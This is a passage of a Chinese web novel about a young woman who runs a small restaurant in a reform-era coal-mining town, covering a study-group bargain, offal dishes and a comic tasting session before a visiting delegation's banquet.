贺明国看了看梁志胜,吃饭赶客是不是不太好啊?他反而不好意思继续撵人了。 贺明军没老大那么重的道德包袱,笑呵呵地对小男生说:“行了,不留你了,早点回家吧。” 这话不是对孙向前说的,但这个乖孩子已经自觉站了起来,虽然不舍,但还是准备告辞回家。 梁志胜不想走,他还没吃够呢! 要是从来都没吃过也就算了,他都吃 到这等美味了,眼见后面还有更多的好吃的,却要吃不着,这还不如一开始就别让他吃呢! 这家伙心眼多,琢磨是哪儿得罪贺明珠了,可不想也就算了,一回想,那简直处处都是问题。 嗨呀,他怎么就这么没远见呢,得罪谁也不能得罪厨子啊! 梁志胜试探性地对贺明珠说:“要不,名额就不用你收回了?” 贺明珠似笑非笑,不说话。 梁志胜又说:“那对不起?我不该之前对你态度那么差,你大人有大量,就原谅我吧。” 贺明珠还是不说话。 梁志胜无计可施,只好耍赖:“再怎么说,那内脏也是我拿来的……让我吃一口吧,求求你了!” 孙向前再一次目瞪口呆了。 啊?他这个同学为了口吃的,可以这么没下限的吗?! 贺明珠终于肯开口。 “你要吃也不是不行——” 梁志胜眼睛亮起来,但心还没完全放下,这次有经验了,知道她的下一句话才是关键。 “从今天起你得好好学习,必须考上中专。” 不是,这姑娘怎么和他爹妈一样啊?! 中专到底有什么啊,为什么都要让他上中专?! 他不知道,梁家父母是本着拳拳爱子之心,为他的前途着想;而贺明珠则是作为一名五星卖家,一心要达成完美的售后服务。 她还想和车间主任梁同志长期合作呢。 说起来肉联厂的好东西可真不少,随随便便从手指缝里漏出一点,就够她这个小饭店用了。 不管是猪头猪蹄猪内脏,哪怕是一条猪尾巴,在贺明珠手下都能变废为宝,成为店里的招牌菜。 可现在离中考不到半年时间,要是梁志胜没考上中专,只怕她要受粱父迁怒,双方良好的合作关系就要到此为止。 梁志胜能不能考上中专无所谓,但饭店生意的发展可不等人啊! 要是不趁着现在物资限制供应的窗口期把饭店招牌做起来,将来票证废止、全面放开供应,开饭店的如雨后春笋般林立,贺明珠的手艺再好,也会泯灭在众人之中。 她可不想模仿日本的寿司仙人,一辈子守着一家小店,还要自夸什么所谓的“工匠精神”。 窗口期不等人,钉牢肉联厂这条线就显得尤为重要。 贺明珠的要求听着有些奇怪,在场众人都忍不住侧目。 贺明国想说点什么,被贺明军拉住了。 他知道,自家妹子不是无的放矢的人,她这么做一定是有原因的。 孙向前敏锐地捕捉到关键词“中专”。 又是中专? 他探究地看向贺明珠,没说话,保持了可贵的沉默。 梁志胜一咬牙,先不管三七二十一,一口应承下来:“行,我答应!” 中考是半年后的事,先把这顿饭混下来再说,就算他考不上,难不成贺明珠还能扣着他嗓子眼,让他把菜吐出来不成? 可没想到,贺明珠却说:“光答应可不够,从今以后,你和孙向前每天放学后都来这间饭店学习,我们仨组成学习小组,互帮互助互相学习,直到中考结束为止。” 梁志胜傻眼了:“……啊?” 孙向前也懵了:怎么这还有他的事儿? 第63章 第63章好吃是第一要义! 冲刺中考学习小组的事就这么提上了议程。 之所以要把孙向前拉进来,主要是贺明珠觉得这孩子人品端方厚道,有他在,不至于传出什么她和梁志胜谈恋爱之类乱七八糟的绯闻。 苍天明鉴,她真的只是看中了肉联厂的猪头猪蹄猪尾巴,哦对了,还有猪心猪肺猪肝猪大肠。 总之,猪猪全身都是宝,她爱死猪猪了! 梁志胜自然是不愿意的。 可贺明珠她耍诈! 当梁志胜琢磨要找什么理由把这个所谓的“学习小组”搅黄了时,贺明珠施施然进了厨房,不多时,一道又一道的菜流水式地从后厨送到了桌上。 食材都是早就准备好的,烧火热锅,滑油快炒,几分钟就出锅上菜,端到桌上时还冒着腾腾热气。 猪肚鸡是做起来最费时间的,但贺明珠早早就将盛放猪肚鸡的砂锅放在炉子上小火慢炖,这会儿刚好可以端出上桌。 这道菜是广式名菜,一整只鸡去头去脚,囫囵个塞进猪肚中,加入红枣枸杞桂圆等辅材,撒白胡椒去腥提鲜,长时间的小火慢炖后,炖好的汤色白味浓,喝一口连眉毛都要鲜掉。 在这个交通和通讯不发达的年代,绝大部分乌城人从未去过广东,更别提尝过猪肚鸡。 对于普通人来说,粤菜是一个意味着遥远和昂贵的陌生词汇。 贺明军在广东混了大半年,很识货,一眼就认出盛在砂锅里的猪肚鸡是好东西,毫不客气拿起长柄勺,给自己和家人各盛一碗。 他先不急喝汤,筷子在碗里搅了搅,捞出斩成条的猪肚和撕成丝的鸡肉,尝了一口说:“炖入味了,又鲜又甜,明珠的手艺真是越来越好了。” 听到二哥的话,贺小弟急急地往碗里吹了两口气,也不等汤凉下来,抄起小勺子就去舀汤喝。 喝完他砸吧砸吧小嘴,只觉得这是之前从来没尝过的味道,好喝得不知道要怎么形容,高兴地在地上蹦了两蹦。 “好喝!我喜欢!” 贺明国品品味儿,也不是说不好喝,就是太温和了,充满了南方柔婉和煦的腔调,不太适合他这种喜欢大块吃肉大口喝酒的北方汉子。 就像拿着铜琵琶铁绰板唱“大江东去”的关西大汉,你总不能指望他执红牙板来一曲柳三变的柔情小调。 贺明国嫌拿着勺子麻烦,捧起碗,一仰脖把汤喝了个干净。 他本来没觉得有什么,但渐渐地,原本因为值班没吃饭而隐隐作痛的胃被一碗热汤安抚了下来,有种久违了的舒缓之感。 猪肚性味甘温,健脾和胃,鸡肉温中益气、养血补血,加上胡椒恰好有温中下气、和胃止呕的功效。当胃部因饥饿而痉挛抽痛时,一碗暖暖的猪肚鸡汤正好可以温补身体。 胃不疼了,贺明国这才品出猪肚鸡的好来。 他也不客气,抄起长柄勺,又给自己来了一碗。 这次没捞肉,只舀了奶白色的汤汁,上面点缀了几颗鲜红枸杞和大枣。 梁志胜眼巴巴看着贺家人喝汤,简直快急坏了。 怎么就没人让一让他这个客人呢?他脸上难道没写着“让我尝一口”吗?! 孙向前倒是被让了,这孩子还怪不好意思的,端起碗小小喝一口,夸道:“没想到贺同学不仅学习好,厨艺还这么好,果然厉害的人做什么都厉害。” 贺明军就爱听这话,笑容满面,满满地捞了一勺子猪肚鸡丝倒进孙向前的碗里。 梁志胜腆着脸凑上去:“哥,能不能让我也喝一口?” 贺明军看看这小子,狡猾道:“我说了可不算,在饭桌上得听我妹的。” 贺明珠正好端着最后一盘炒腰花出来,闻言就问:“学习小组的事儿你答应吗?” 梁志胜不想答应。 但对着满桌的美食,他的喉咙里像是伸出一只殷切的小手,拼命地拽着他往跟前凑。 焦香油润的干煸猪肺,色泽诱人的爆炒腰花,筋道柔韧的酱香猪心,还有鲜甜可口的猪肚鸡…… 这小子憋着的一肚子坏水就这么被满桌美食搅了个干净。 “我答应,我答应,我都答应……” 梁志胜沮丧而渴盼地说:“那我现在能吃了吗?” 梁家父母最近发现自家儿子像是变了个人。 他和同学结成了学习小组,每天放学后都要去同学家学到十点后才回来。 梁母起初不信,偷偷跟着他去过一次,居然真的是在学习,三个学生围坐在一起,各自全神贯注对着课本,不聊天不打闹不玩笑,就纯学。 其中有一个女生,是之前转让中专考试名额的贺同学。 梁母心思重,观察了好一会儿,见自家儿子和女生间不仅没有丝毫暧昧,甚至还有点躲避的意思,她就稍微没那么紧张了。 她回去告诉梁父,梁父一点都不意外,甚至还带着点自得地说:“小贺早和我说了,她组了个学习帮扶小组,拉一把志胜的成绩,帮他考上中专。你还别说,小贺真是个好孩子。” 梁母跟踪了几次,次次都是在学习,而且学校老师告诉她,梁志胜的成绩呈直线式上升。这个状态持续到中考的话,考上中专是很有希望的。 她不自禁喜出望外,梁家祖坟可算冒烟了! 对于冰箱里的猪肉和馒头总不定期消失的事,梁母睁一只眼闭一只眼,权当没看见。 晚饭都是在人家里吃的,拿点肉不算什么。 一天,梁志胜蔫头蔫脑地背着书包回家 ,进了门就说:“妈,你去给我找点打虫子的药吧。” 梁母立刻翻箱倒柜找宝塔糖,一边找一边问他:“你肚子里长蛔虫了?肚疼?” “不疼,但我觉得应该有虫子。” 梁志胜悲愤地说:“要不然我怎么会越吃越吃不饱啊?!” 贺明珠做的饭到底有什么魔力,怎么会让人越吃越想吃啊摔! 煤矿人家里,贺明珠正在煲汤。 梁志胜爱上猪肺的滋味,不管是干煸、熏烤还是辣炒,每种做法都好吃。 哪怕是猪肺上的硬质喉管,切下来炒一炒,又脆又香,他一个人就能吃完一整盘。 梁志胜吃上了瘾,隔三差五就从肉联厂提上几对血淋淋的猪肺,求着贺明珠下厨。 这家伙从小猪肉吃得多,对油脂有抵抗力,嘴巴刁得很。 明明现在贺明军手艺也不差,但他就是能一口吃出来这菜是不是贺明珠做的,并顶着贺明军的死亡视线,不屈不挠地追着贺明珠要饭吃。 贺明珠烦不胜烦,便答应每天亲自下厨做一道菜。 梁志胜拎来的猪肺太多,贺明珠只用了一半。现在天气开始升温,没了室外天然冷柜,剩下的猪肺放不住,要尽早处理。 贺明珠干脆把猪肺洗干净后切片清炒,加水与萝卜块同煮,撒一点盐和胡椒粉,炖好了就是润肺益气、清热补中的猪肺萝卜汤。 盛汤的桶端出去,一旁放着碗勺,作为免费例汤,任由食客自取。 客人们渐渐习惯了饭前喝汤,自觉地排队拿勺舀汤。 有人精明,握着长柄勺探到桶底,贴着边,慢慢捞出沉在最下面的汤底。 “怎么是猪肺?” 精明人不满意,把勺子一扔,说:“谁吃猪肺啊,上不了台面的便宜货,又腥又臭的,老板拿这玩意儿糊弄谁呢?” 后面有人怼他:“免费的东西你还挑上了?爱吃不吃,不吃让开,别挡着我盛汤。” 那人就把精明人挤开,自己舀了满满一碗汤,小心翼翼地端回座位上。 菜还没上,他端起碗,沿着碗边吸溜了一口汤。 汤一入口,他眼睛唰地一下就亮起来了。 真鲜! 奶白色的汤清爽适口,一点腥味也没有,品一品,味道鲜甜,入口回甘。猪肺软糯细嫩,萝卜清甜软糯,二者的味道相融,让一碗汤呈现出格外鲜美的滋味, 随着猪肺萝卜汤落进胃袋,缓慢滋补着矿工因常年在井下工作而受损的呼吸道和肺部,充分发挥起清心润肺、止咳化痰的功效。 男人三口两口喝完汤,端起碗又去舀汤。 精明人冷眼瞧着,见那人连喝三大碗汤,直到最后再喝就吃不下饭了,才依依不舍地离开。 他心里嘀咕,这汤有这么好喝吗? 可那是猪肺,里面多脏啊,都是猪呼吸的灰尘,洗又洗不干净,做成菜腥味儿又重,只有穷得实在吃不起肉的人家才会拿猪肺当肉糊弄肚子。 正经人谁吃猪肺啊? 但汤桶前的人非但没有减少,反而不断有人在喝完第一碗汤后又返回去排队,桶里的汤眼见着是越来越少。 精明人有点坐不住了。 要不,他也试试? 等轮到精明人舀汤时,原本满满一桶汤只剩下个底子,猪肺和萝卜基本都被捞光了,只剩下几块边角料。 他谨慎地舀了半勺,碗送到嘴边还在犹豫,但鼻端已经传来一股鲜甜的味道,诱惑着他把汤往嘴里送。 他心一横,张开嘴就往下咽。 可是等真的尝到了猪肺萝卜汤的滋味时,精明人后悔了。 这汤也太好喝了吧! 再看看快空了的汤桶,嗨呀,他刚刚怎么就眼睁睁看着其他人把汤都打完了呢?! 张向党进饭店的时候,看到例汤旁边站了个人,喝完一碗又喝一碗,最后还要探着身子刮桶底。 他嗤了一声,有些人就是占便宜没够,逮着免费的汤就使劲喝,跟三辈子没喝过汤似的,看那没出息样儿。 张向党不理会这人,径直进了后厨。 自从饭店开业后,他经常来混吃混喝,进厨房就跟进自己家似的,轻车熟路地掀开帘子,没看清人呢就喊道: “军哥,今天来点硬菜,我有好消息要告诉你!” 等灶台前站着的人一回头,张向党这才发现,今天掌勺的居然是贺明珠。 他眼前一亮,堆出一脸笑凑上去:“明珠妹妹,你今天怎么在这儿啊?厨房的活儿这么累,让你哥去做,可别把你累着了~他五大三粗的,让油烟熏一熏也没关系,就该他多干……” 话没说完,贺明军的声音从他背后响起来:“你小子要不要脸了,我还在这儿站着呢!” 被人抓了个现行,张向党这下不好意思了,干笑了两声:“哈哈,哈哈,今天生意不错啊……” 贺明军从背后圈住他脖子,力气不大,隐含威胁。 “快说,你有什么好消息,要是消息不够好的话,我可就不客气了啊!” 张向党顾不上拿好消息敲诈硬菜了,忙道:“过两天有个外省单位要来一矿考察学习,我爸打算带他们来你家饭店吃饭。” 贺明珠心中一动:“是不是之前吃出耗子的那家单位?” 张向党说:“对!就是这倒霉单位!而且还是原来那个带队领导。” “我爸说了,他这回要一雪前耻,彻底扫清‘卤耗子’的耻辱!” 第64章 第64章招待前的试菜 煤矿人家的生意好,张副矿长是既高兴,又有点酸溜溜的。 都是开饭店,怎么他的三产饭店就黄了,反而个体户的饭店火了呢? 还有那耗子是怎么回事儿啊,国营单位开的饭店它就待着不走,换成私人开饭店,耗子连个影子都见不着。 怎么着,耗子也跟那找工作的人似的,非国营单位不进吗? 张副矿长不知道,倒不是耗子存心欺负国家干部,实在是现在的煤矿人家和之前三产饭店不一样,不仅全屋地面做了硬化,堵住了角角落落的耗子洞,而且还养了只四爪血债累累的贼猫,括号,特指耗子血,括号。 这猫白天拴着,晚上闭店了就解开绳子,任由它在店内自由活动。 刚开始,耗子们试图从窗户墙根打洞钻进来。 好不容易挖穿了墙,先行鼠从洞口小心翼翼探出脑袋张望,忽然之间,从天而降一只巨大锋利的猫爪,动作迅雷如电,爪尖深深勾进耗子皮肉,强行拖出了洞。 在洞里排队等候出场的其他耗子们,只听到先行鼠几声凄厉的惨叫,下一秒,“咔嚓”一声,清脆的脊椎断裂声响起。 这是来自地狱的声音,预示着死亡的降临。 外面有猫! 耗子们被吓得魂飞魄散,在洞里没头苍蝇般乱撞,恨不能立刻逃离这个危险区域。 然而说时迟那时快,一只巨爪悍然入侵洞口,五只张开的弯钩般尖锐利爪四处乱掏,触到耗子就猛然收紧爪子,一把拽出洞口。 接着,又是一声“咔嚓”。 就这么几次三番下来,先遣军中数只耗子惨遭贼猫毒手。 耗子间消息传得快,很快意识到原来的老巢盘踞了一只巨型恶猫,这个恶魔手段极其毒辣,爪下无数耗子冤魂。 它们几次反攻倒算,损兵折将,皆是不敌,不得不忍痛暂时放弃这处祖 宅据点,另寻他处安置。 偶有愣头愣脑的过路耗子循着香味,一头扎进煤矿人家,没等找着厨房方位,就被据守贼猫斩于爪下。 时间长了,别说耗子了,连冬眠刚苏醒的蛇都知道要绕着这家饭店走。 贺明军上午去煤矿人家开门,拉开门见地上没有耗子尸体,伸手点一点贼猫:“你小子值夜班是不是偷懒了?” 贼猫不理他,施施然在炉子旁找了个舒服位置卧下,半眯着眼,惬意极了。 一晚上守夜没睡,可累坏它了,得好好补个觉。 另一边,贺明珠也在睡。 这天是周末,没人打扰,她就在家舒舒服服睡到了自然醒。 起床后,贺明珠看到炉子上的锅温着一笼菜肉包子,是韭菜猪肉馅儿的,韭菜多,猪肉少,皮薄馅大节省面粉。 这包子是大哥和的面,二哥调的馅儿,小弟负责从蒸笼里挑出最好看的,单独放起来留给姐姐吃。 俩哥哥厨艺一般但劲儿大,于是做饭也秉持大力出奇迹,一个和面时和到胳膊肌肉贲起,一个搅馅儿时搅到筷子出现残影 做出的包子不难吃,包子皮筋道,包子馅儿上劲,是很温馨的家常味道。 贺明珠三口两口吃完六个拳头大的包子,拎上菜篮子,神清气爽地出了家门。 周一煤矿人家要招待来一矿考察学习的外省单位,张副矿长谨慎起见,周日要来亲自试菜,顺便看看用餐环境。 要是不够好,张副矿长宁愿在一矿食堂招待来访客人。 毕竟他老脸的面积有限,不能接二连三地丢人。 贺明珠在得知消息后,第一件事就是让张向党找他爹要粮票肉票菜票。 她是小本生意,每个月可用的票证有限,每周定菜单时都是计算着用票,实在挤不出额外份额用于招待。 要不然就只能招呼领导们吃土豆泥萝卜汤了,她倒是不介意,就是不知道领导们介意不介意? 张副矿长当然介意,用自己的人脉联系了蔬菜公司和肉联厂,让贺明珠放开了采购,不受物资供应的限制。 说起来也怪,三产饭店的采购走的是一矿食堂的批发渠道,在食材种类和价格上都有极大优势,但反而生意还比不过个体户的小饭馆,真是让人摸不着头脑。 贺明珠到蔬菜公司后,被对接人领进了仓库。 举目四望,和后世超市相比,此时的蔬菜仓库显得有些品种单一,没有反季节蔬菜,也没有南方特有的蔬菜品种。 但和此时的国营菜场一比,那简直是阿里巴巴的宝藏。 贺明珠就像掉进米缸的小老鼠,欢快地拎着篮子满仓库游走,不多时,她的篮子里就盛满了各式各样的蔬菜。 接着她又去了肉联厂,满场都是她最爱的猪猪。 除此之外,还有羊肉、鸡肉,以及现在市面上贵且少见的牛肉。 机会难得,贺明珠在蔬菜公司和肉联厂大肆采购,最后差点没扛回来。 贺明珠千辛万苦扛着食材回了煤矿人家,一下午的时间全部耗在了后厨。 贺明军给她打下手,一边干活一边学厨,两人蒸炸煎煮焖溜熬炖一顿操作,直香得在前厅拖地的徐和平一个劲儿咽口水。 贼猫从炉子旁站起来,舒舒服服伸了个懒腰,在徐和平的目光中,轻快地小跑着溜进了厨房。 不多时,里面传来贺明珠的声音。 “哎呦喂,猫同志您这是干嘛呢?别蹭别蹭,咱俩没那么熟,你自重点,劳动改造呢,谁让你色||诱狱警的?” 又传来贺明军的声音。 “嘬嘬嘬,蹭我,来蹭我,我不介意……嘿,嘿!我这儿也有肉呢,你倒是看我一眼啊猫大爷!” 里面传来一阵模糊的笑声,过了会儿,贼猫嘴里叼着肉,仰着脑袋,愉快地翘着尾巴走了出来。 本来要在炉子旁吃的,但当看到徐和平饥渴的视线时,贼猫身形一定,接着转身就走,噌噌噌几下顺着柱子爬到大梁上,这才定定心心地吃起了肉。 徐和平看得心里直犯嘀咕。 怪不得这猫就算没被绳子拴着也不逃,每天有人好吃好喝伺候着,它傻了才去野外逮耗子。 他不由得将视线投向后厨—— 要是他现在去后厨,能不能也混块肉啊? 晚上,快到打烊的时间点,饭店里的客人都走光了,张副矿长才带着张向党来到煤矿人家。 当着老爹的面,张向党不敢多话,冲着贺家兄妹挤眉弄眼。 张副矿长清了清嗓子,也不多话,坐下后就说了句:“菜做好了就端上来吧。” 贺明珠干脆,转身进了后厨。 贺明军不乐意伺候官老爷,即使灶上没他的事儿,也掀帘子进去了。 前厅里就剩下徐和平。 他左右看看,拿了块抹布,捡了张离得最远的桌子,慢悠悠地擦起了原本就干净的桌面。 张向党憋不住话,和亲爹说道:“这饭店不错吧?你是没在饭点来,吃饭的人特别多,每天都满满当当的,来晚了的连张椅子都没有,只能站着或蹲着吃。” 张副矿长嗤之以鼻,低声说一句:“一群矿工。” 张向党不乐意了:“矿工怎么了,矿工的钱就不是钱了?开门做生意,你管人家客人是干什么的,给钱结账不就行了吗?” 张向党背后站着他爹张副矿长,成了煤矿人家名义股东,不仅拿干股,每月还能跟着贺明珠一起盘账。 他是亲眼目睹了煤矿人家从无到有的全过程,虽然当时贺明军给饭店做大扫除时他嫌脏没去,但也通过人脉找瓷器厂要了一批不花钱的瑕疵碗盘,现在客人们用的都是这些碗。 因此,张向党很有主人翁的意识,听不得别人说煤矿人家的不好,哪怕这人是他爹也不行。 张副矿长不肯在外面和他吵,嫌丢人,鼻子里出气哼了一声,转而道:“你去看看,这菜怎么还没出来?” 话音未落,后厨帘子掀开,贺明珠端着几盘凉菜走了出来。 手撕鸡肉,凉拌牛肉,水晶皮冻,酸辣萝卜,蜜汁南瓜,以及炝拌三丝。 这几道菜皆是色泽鲜艳,摆盘精致,口味都是清爽适口,作为开胃菜能让人食欲大增。 张副矿长吃多了国营饭店,对此并不稀奇,看了两眼,淡淡地说:“有点慢了,凉菜没什么可吃的,热菜呢?” 他才说凉菜没什么可吃的,张向党就已经急切地拿起筷子,探身夹了一大筷子的手撕鸡肉。 北方很少用鸡肉做凉菜,烹饪鸡肉通常使用红烧或者炖煮的方法,出锅时浓油赤酱,因此盘中金黄色的鸡肉就显得格外陌生。 张向党常来煤矿人家,知道贺明珠经常会做一些本地人没听说过的外地菜系,而且还特好吃,要是下筷子稍慢一步,就等着吃盘底吧。 他识货,面对没吃过的好东西,二话不说就赶紧先来一筷子。 撕成细条的鸡肉才入口,舌尖就尝到一股鲜香的味道,鸡肉香嫩爽滑,鲜美多汁,吃起来一点也不柴,而且丝毫不油腻,越嚼越香。 张向党吃得舌头都要吞下去,吃完手撕鸡肉又去夹水晶皮冻。 这个皮冻是贺明珠和小师傅学来的做法,猪皮烧干净毛,放葱姜料酒后水煮去腥,洗净了用刀刮油,直到将油全部去尽,最后切成细条的猪皮,调味后放盆加清水,上锅隔水蒸。 蒸好晾晾后,凝固的皮冻透亮极了,切片放盘时,都能隔着皮冻看到盘子的花纹。 一口咬下去,皮冻的弹力惊人,既滑腻又有嚼劲,三下两下就顺着喉咙滑进胃袋。 张向党吃得香,每一道凉菜都大吃特吃,一双筷子从左伸到右,离得略远的还要站起来夹。 贺明珠站在桌边笑眯眯地说:“慢点吃,后面还有热菜呢。” 张向党顾不上说话,嘴里裹了一包吃的,只连连点头。 张副矿长面子上挂不住,咳了两声,见张向党还在吃,气得张副矿长在桌子下用力踩他的脚。 张向党吃痛,嗷地就是一嗓子:“爸你踩我干啥!” 第65章 第65章煤矿人家还是耗子饭店…… 听到张向党的话,贺明珠差点没喷笑出来,强忍着笑说:“两位慢用,我去后厨看看。” 说罢赶紧转身就走。 再不走, 她怕自己要在张家父子面前笑到破功。 张副矿长的老脸都快被这小子丢尽了。 他正拿腔拿调地在个体户面前摆架子呢,张向党转头就拆他老子台。 “爸,你等啥呢,赶紧吃啊,你要是不吃的话,那我可就全吃了啊。” 听了张向党的话,张副矿长气不打一处来。 “吃吃吃,你就知道吃!” 张向党很无辜:“来饭店不就是要吃饭吗?我可连午饭都没吃,就等着这一顿呢!” 这个没出息的小子! 几道菜而已,家里是缺他吃了还是缺他喝,值得露出这样一副不值钱的模样吗?! 再说了,这种个体户开的饭店能有多好吃?左右不过是舍得放盐放油,份量大还便宜,糊弄糊弄没吃过见过的矿工而已。 要不是为了洗清耗子饭店的耻辱,顺便表演一下深入基层与民同乐,他才不来这种私人做买卖的地方吃饭呢! 贺家一个小姑娘,做的菜能有国营饭店的老师傅做得好吗?! 张副矿长气得没话说,好一会儿才重重吐出一口浊气。 罢了罢了,儿子是亲生的,他什么德行自己这个当老子难道还能不知道吗? 说服自己后,他也不摆架子了,拿起筷子去夹凉菜。 张向党这小子对亲老子可真不客气,几盘菜被他吃了大半,要不是为了留着肚子吃热菜,只怕他能干出清盘子的事儿。 张副矿长面带嫌弃,挑挑拣拣从盘子边捡了一小块鸡肉。 他是吃过晚饭才来的,一矿食堂师傅精心做的小灶,肉多油大,香得很,可不是这种做个菜抠抠搜搜、不舍得放肉的小饭馆比得了的。 可手撕鸡肉才入口,张副矿长的眼睛一下子就瞪大了。 肉质细腻,清淡鲜美,金黄的鸡皮吃起来非但不腻,反而口感爽滑, 这是他在国营饭店从来没有尝过的新奇美味。 细细品尝过手撕鸡肉,张副矿长说不出话,沉默半响,转手又去夹皮冻和卤牛肉。 这两道菜在北方不算稀奇,经常出现在各种宴席上。 然而,在煤矿人家,这两道菜却好吃出了新的高度。 皮冻透亮爽滑,筷子夹起来Q弹微颤,蘸汁酸香微辣,吃得人胃口大开;卤牛肉切成薄片,对光一看,暗红色的肉质纹理分明,中间是不规律的半透明牛筋,一口咬下去,牛肉鲜嫩,卤味浓郁,口感层次丰富,越嚼越香。 酸辣萝卜、蜜汁南瓜和炝拌三丝,这三道素菜作为开胃菜也发挥出了百分之二百的功力,有酸有辣有甜有咸,味道丰富,可以满足任意口味的人群。 张副矿长是吃饱饭才来的,本来只打算略微尝一尝,此时却胃口大开,唾液疯狂分泌,肠胃全力运转,大脑给手下了死命令:夹,给我使劲夹! 不知不觉间,张副矿长把盘子里剩下的凉菜都扫得精光。 张向党见他爹吃得香,原本还想留点肚子等热菜,此时也顾不上了,急急忙忙又去下筷子,和亲爹抢着吃那六盘凉菜。 开玩笑,今天是试菜,老头子过两天还能带人来吃一顿正席。 他可就只吃得到今天这一顿,下一顿还不知道在哪儿呢。以贺二护妹妹的做派,他就别指望能指使贺明珠单独给自己做一餐了。 两双筷子打架,没过一会儿,原本就所剩不多的凉菜直接全部清空,除了几滴残渣酱汁,再看不出原本的模样。 对着满桌空盘,张副矿长慢慢放下筷子,心情复杂极了。 怪不得这个体户生意好,这菜做得还真不错啊…… 一旁的张向党嘀嘀咕咕地抱怨:“你不是吃过晚饭了吗,干嘛还来跟我抢……我就客气一下,你怎么还真吃啊……” 张副矿长被逆子气得眉毛都要竖起来,抄起筷子就朝他脑袋上来了一下。 “兔崽子胆儿肥了,还敢和你老子抢菜吃!等下上热菜,你只能吃一半,啊不,你只能吃三分之一,剩下的我要试菜,这是正事,你不许和我抢,知道不知道?!” 张向党气得鼻子都歪了,有这么做老子的吗?! “试菜试菜,谁试菜能把一盘子菜都吃完啊!” 张家父子阋墙,贺明珠带着隔热的劳保手套,端着第一道热菜从后厨出来了。 “刚出锅,还有点烫……” 话没说完,她就看到了桌子上的六只空盘子,她的脸上露出了惊讶的表情。 张副矿长窘迫极了,清清嗓子,一边骨头里挑刺,一边甩锅道:“小姑娘,你这个热菜上的速度还是有点慢,你看张向党把凉菜都吃完了,要加快速度啊,正式宴席那天这样可不行。” 张向党已经快准狠地朝新菜夹了一大筷子,攮进了嘴里,还不忘口齿不清地给自己分辩:“那哪是我吃完的,分明一半都是你吃的……” 张副矿长的表情都快绷不住了,可再一看,张向党这小子奸诈且不孝,非但不肯背黑锅,还趁机将一多半的新菜都扒拉到自己碗里了。 他也顾不上架子不架子了,大喝一声:“住手,你这个不孝子,老子还没吃呢!” 在不远处假装擦桌子,并围观了全程的徐和平终于憋不住了,忍笑忍到快爆炸,手上力气没收住,一把将桌子给摁翻了。 轰隆一声巨响,炉子旁的贼猫被惊得从地上跳了起来,背毛奓起,弓着背四处查看。 只见它的人类狱友、杂工劳改犯蹲在地上,憋笑憋得整个人都在颤抖。 贼猫:?人类怎么总在发癫? 周一,郑解放带队来乌城矿务局考察学习。 改革开放后,国家用宝贵的外汇储备从国外引进综采设备。 作为全国最大的煤矿企业,乌城矿务局是第一批用到了进口设备的国企。 新型的进口综采设备的可靠性高,故障率低,能够有效提高采矿效率,降低采矿成本,使矿山的效益得到跨越式的增长。 但问题也有,进口设备价格高,还娇贵,没有老设备皮实耐操。 在矿工习惯性的粗暴操作下,新设备经常出现小毛小病,矿上的老师傅对着完全陌生的进口设备束手无策,不知道该从哪儿下手修理。 外国设备商还很藏奸。 设备配套的使用手册内容空泛,派来的工程师只负责安装设备,在操作培训上马马虎虎,外语说得又急又快,翻译不是机械专业,自己都半懂不懂,翻译出来的东西更是牛头不对马嘴。 设备一旦出现故障,就不得不浪费外汇请外国工程师来修理。 经常是能修一修就解决的问题,对方却要求购买高价原厂零件来替换。 由于此时国内的煤矿技术水平低下,即使明知对方是在故意宰人,也不得不低头认栽。 然而,就算有这样那样的问题,郑解放所在的西煤矿务局还是向煤炭局申请了下一批的进口设备。 无他,煤矿的现代化机械化转型是未来的发展趋势,打眼放炮、大锨攉煤这种过时的采煤方式终将要被时代淘汰。 乌城矿务局作为第一批使用进口综采设备的国企,在这几年间夜以继日地进行技术攻关,成功解决了因操作水平和技术水平低下而造成的设备使用问题。 作为将要安装进口综采设备的煤企,西煤矿务局积极派人前往乌城矿务局考察学习,争取在综采设备换代时,能够少走一些弯路。 郑解放已经是第二次来乌城矿务局了。 得知他们是来学习进口综采设备的使用经验,乌煤的同志不藏私,热情分享他们在设备落户过程中所遇到的问题和解决办法。 特别是一矿,老矿长是位正直热忱的革命同志,对共产主义有无与伦比的热情。不仅分享了他们在使用设备过程中的宝贵经验,还大方地将一些技术创新也拿出来共享。 西煤矿务局获益匪浅,稍微消化了第一次带回来的学习内容后,迫不及待又安排了第 二次考察。 郑解放觉得一矿什么都好,就是吃的上实在有点糟心。 唉,怎么会有单位在招待客人时,让厨房端上来掺着耗子的卤排骨啊! 虽然他没误吃耗子,但吃了好几块排骨,被恶心得够呛,当时就哇地一声全吐了出来,过后好几天都吃不进去饭。 最严重的时候,他一听到乌城两个字,胃里就开始翻滚,几欲作呕。 一次考察,他瘦了五六斤。 这次考察郑解放本来是不想来的,但领导说他有带队经验,和乌城矿务局的人熟,没有比他更合适的人选了。 郑解放才四十岁出头,正是年富力强的时候,考虑到个人的发展前途,他一咬牙,还是来了。 到了一矿,来接待的还是张副矿长。 这位张副矿长和老矿长可不一样,喜欢摆架子拿捏人,特别是在对方有求于他的时候,那可是要将架子摆的足足的,好处拿的满满的,才施舍似的给予一点帮助。 但和另一位文g时期提拔的、喜欢喊口号搞批斗盖帽子的副矿长相比,郑解放还是宁愿和张副矿长打交道。 一天考察下来,郑解放和随行人员的笔记本上记得满满当当的,收获十足。 晚上是一矿组织的接待餐,张副矿长带路,一行人出了一矿大门,朝外走去。 郑解放一边和张副矿长寒暄,一边觉得不对劲。 这条路,怎么越走越眼熟,他好像是来过? 他迟疑地左右看看,脚下的步子越来越慢。 心里的不安越来越强烈,终于按捺不住,郑解放问出了口。 “张矿长,咱们这是去哪儿吃饭啊?” 张副矿长说:“咱们这是去我们矿上新开的饭店,煤矿人家,那儿的菜很不错的。” 郑解放稍稍放心了些,不是三产饭店就行。 可等一行人到了地方,郑解放彻底绷不住了,站在饭店门口,失态大喊: “什么煤矿人家,这不还是你们那个耗子饭店吗?!” 第66章 第66章耗子饭店一雪前耻 郑解放大呼上当,站在饭店门口死活不肯进去。 “张副矿长,要是矿上招待费用不足的话,我们吃食堂就好……” 他连客气的“张矿长”都不肯叫了,直接喊副矿长,表明了是对他有意见。 和他一起来的西煤工作人员窃窃私语,来过的人向没来过的人小声科普。 “这就是那个耗子饭店。” “什么?这就是郑主任吃出耗子的那个饭店?” “乌城的人是什么意思,不想请客就不要请,让我们吃耗子肉是怎么回事儿啊?” 一矿这边的人也很尴尬。 “谁安排的?怎么来三产饭店吃饭?这店不是早就倒了吗?怎么又开门了?” “要不换一家吧,我去联系友谊饭店,那儿离得近,菜也不错。” 